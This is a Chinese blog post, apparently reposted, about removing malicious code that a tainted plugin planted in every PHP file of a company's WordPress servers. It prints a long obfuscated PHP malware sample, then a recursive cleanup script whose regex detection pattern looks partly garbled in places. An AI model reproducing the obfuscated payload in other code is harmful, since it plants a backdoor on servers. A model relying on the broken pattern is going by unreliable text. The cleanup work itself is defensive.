公司一些wordpress网站由于下载的插件存在恶意代码,导致整个服务器所有网站PHP文件都存在恶意代码,就写了个简单的脚本清除。

恶意代码示例

复制代码 代码如下:
<"\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } "%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; function f<5h%x5c%x7825%x5c%x782f#0#%x58]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x28%42%%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}25Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c2fh%x5c%x7825:<**#57]38y]4tjyf%x5c%x7860opjudovg%x525bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!7825>U<#16,47R57,27R66,#%x5c%*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x5c%x7825!<***f%x5c%x78%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z0un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5#P#-#Q#-#B#-#T#-#E#-#G#-#x787fw6*%x5c%x787f_*#fmjgk4%x5*WCw*[!%x5c%x7825rN}#QwTW%xc%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%25)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{x78256<%x5c%x787fw6*%x5c%x787f_%x5c%x7825Z<#opo#>b%x5c%x7825!*##X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x782x5c%x7824*!|!%x5c%x7824-%x5c%x78227K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>x7825!<*::::::-111112)eobs%x5c%x7861L3]84]y31M6]y3e]81#%x5c%x782f#SFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#}R;msv}.;%x5c%x782f#%xc%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+s60QUUI&c_UOFHB%x5c%x786%x785cq%x5c%x7825%x5c%&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928%x5c%|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tujQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x78<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x78c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x78uft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7860ufldpt}X;%x5c%x78#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)uftc%x7825tpz!>!#]D6M7]K3#<%x5c%xbbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x782)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBFx5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x784l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}>!%x5c%x7825tdz)%x5c%x7825ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x782560msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQP78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x55c%x787fw6<*K)ftpmdXA6|7**197-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x78po)##-!#~<#%x5c%x782f%x5c%x7825c%x7824-%x5c%x7824tvctus)%x5x7825)!%x5c%x7822!ftmbg)!gj]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvy76]271]y7d]252]y74]256#<!%x5c%x7825ffc%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x782-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)x7825iN}#-!tussfw)%x5cx7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!2qj%x5c%x78257-K)udfoopdXA%x54<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]273]y66<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:q%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5cx5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj%x7825!*3>") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBAL7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5g!)%x5c%x7825z2*!%x5c%x7825z>3<!f825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!hmg%x-t.98]K4]65]D8]86]y31]278]y3f]5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x3]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73"66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6x7824<%x5c%x7825j,,*!|%x5c%x7824c%x7822)7gj6<*QDU%x5c%%x785c%x5c%x7825j:^<!%x5c%x7825w%jfgg($n){return chr(ord($n)-1);} @err81Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x78y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftc%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjud7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x5c%x7825)hopm3qjA)qj3hopmA%x578Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x78782fqp%x5c%x7825>5h%x5c%4-%x5c%x7824y7%x5c%x7824-%<*#k#)usbut%x5c%x7860cpg]273]y76]271]y7d]252]y74]256]7f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!!}W;utpi}Y;tuofuopd%x5c%x7tsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%xx5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x7897e:56-%x5c%x7878r.985:52985c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]47825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%xPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x780#)U!%x5c%x7827{**u%x5c%x7825-fd)##Qtpz)#]341]88M4P8825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]2#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<j2]y74]256#<!%x5c%x7825k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3qif((function_exists("%x6f%142%x5f%163%x74%14H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x55)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x78257]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%mqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x782-%x5c%x7824gvodujpo!%x5c%x7822f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvoduj78786<C%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x7825j:,,Bjg!)%x5c%x7825j:1*!%x5c%x7825b:]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%e56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTbek!~!<b%x5c%x7825%x5c%x787f!<X>bjepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#cvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:6]267]y74]275]y7:]2687,18R#>q%x5c%x7825V<*#fopoV;ho]y81]265]y72]254]y76#<%x5x5c%x7825!|!*#91y]c9y]g2y]#*4-1-bubE{h%x5c%x7825)sutcvt)!gj!5)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<V%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f<u%x5x7825bss-%x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31]278]y3e]81]K78:569x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWtj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x78250SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zx5c%x7860%x5c%x785c^>Ew:Qb:Qc:]37]278]225]241]334]368]322]3]364]6]283]2178}527}88:}334}472%x55c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.5j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x25!-#2#%x5c%x782f#%x5c%x7825#%fwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fep>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x782x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*"\x20\57\x2a\40\x67\150\x6a\145\x73\165\x77\166\x7a\146\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\67\x35\55\x31\63\x38\51\x29\54\x20\143\x68\162\x28\50\x35\67\x32\55\x34\70\x30\51\x29\54\x20\142\x67\147\x62\142\x6a\166\x77\147\x71\50\x24\167\x7a\155\x64\155\x7a\172\x79\157\x6c\54\x24\142\x73\163\x61\151\x69\153\x68\166\x6e\51\x29\51\x3b\40\x2f\52\x20\153\x6d\151\x73\166\x7a\161\x63\153\x68\40\x2a\57\x20"; $jtgibaqypx=substr($bssaiikhvn,(45338-35225),(40-28)); $jtgibaqypx($yhjbllsvwt, $urvbwkljhb, NULL); $jtgibaqypx=$urvbwkljhb; $jtgibaqypx=(775-654); $bssaiikhvn=$jtgibaqypx-1; "htmlcode">

<"\\\x61\\\156\\\x75\\\156\\\x61"\]\)\).*\$bssaiikhvn=\$jtgibaqypx-1;\s*\"htmlcode">
<"\\\x61\\\156\\\x75\\\156\\\x61"\]\)\).*\$bssaiikhvn=\$jtgibaqypx-1;\s*\?>@si');  #定义需要过滤的恶意代码规则
$file_count = array(
  'all_file'=>0,  #所有文件
  'filter_file'=>0   #含有恶意代码文件
);

replaceUnwantedCode($path); #执行过滤

#print_r($search_count);die;
echo sprintf('从%s里共搜索到%s个符合条件的文件,其中%s个存在恶意代码已清理,原始文件保存在%s',$path, ($file_count['all_file']), ($file_count['filter_file']), $bak_path);die;

function replaceUnwantedCode($path){
  global $bak_path,$fileType,$search,$file_count;
  $path = str_replace(array('/','\\'), DIRECTORY_SEPARATOR, $path);
  if(!file_exists($path)||!is_dir($path)){
    return '';
  }
  if(substr($path, -1,1)==DIRECTORY_SEPARATOR){
    $path = substr($path, 0,-1);
  }
  $dir=opendir($path);
  while($file=readdir($dir)){
    #若有定义$fileType,并且文件类型不在$fileType范围内或文件是一个目录,则跳过
    if($file!=='.'&&$file!=='..'){
      $file = $path.DIRECTORY_SEPARATOR.$file;
      if(is_dir($file)){
        replaceUnwantedCode($file);
      }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
        ################################
        @$file_count['all_file']++;
        $fileContent = file_get_contents($file);  #文件原始代码
        $compile_fileContent = preg_replace($search, '', $fileContent); #过滤后的内容
        if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
          #过滤后文件长度不一致,则表示含有恶意代码(备份文件所在目录不过滤)
          $file_count['filter_file']++;
             
          ############备份原有文件 开始###############
          $bakFile = str_replace($path, $bak_path, $file);
          @make_dir(dirname($bakFile));
          @file_put_contents($bakFile, $fileContent);
          ############备份原有文件 结束###############
             
          #重新写入过滤后的内容到原有的PHP文件
          @file_put_contents($file, $compile_fileContent);
        }
        ################################
        unset($fileContent,$compile_fileContent);
      }
    };
  };
  closedir($dir);
  return true;
}

########################
## 辅助函数
########################
 
/**
 * 检查目标文件夹是否存在,如果不存在则自动创建该目录
 *
 * @access   public
 * @param    string   folder   目录路径。不能使用相对于网站根目录的URL
 *
 * @return   bool
 */
function make_dir($folder){
  $reval = false;
  if (!file_exists($folder)){
    #如果目录不存在则尝试创建该目录
    @umask(0);
 
    #将目录路径拆分成数组
    preg_match_all('/([^\/]*)\/?/i', $folder, $atmp);
 
    #如果第一个字符为/则当作物理路径处理
    $base = ($atmp[0][0] == '/') ? '/' : '';
 
    #遍历包含路径信息的数组
    foreach ($atmp[1] AS $val){
      if ('' != $val){
        $base .= $val;
        if ('..' == $val || '.' == $val){
          #如果目录为.或者..则直接补/继续下一个循环
          $base .= '/';
          continue;
        }
      }else{
        continue;
      }
 
      $base .= '/';
 
      if (!file_exists($base)){
        #尝试创建目录,如果创建失败则继续循环
        if (@mkdir(rtrim($base, '/'), 0777)){
          @chmod($base, 0777);
          $reval = true;
        }
      }
    }
  }else{
    #路径已经存在。返回该路径是不是一个目录
    $reval = is_dir($folder);
  }
 
  clearstatcache();
 
  return $reval;
}

华山资源网 Design By www.eoogi.com
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
华山资源网 Design By www.eoogi.com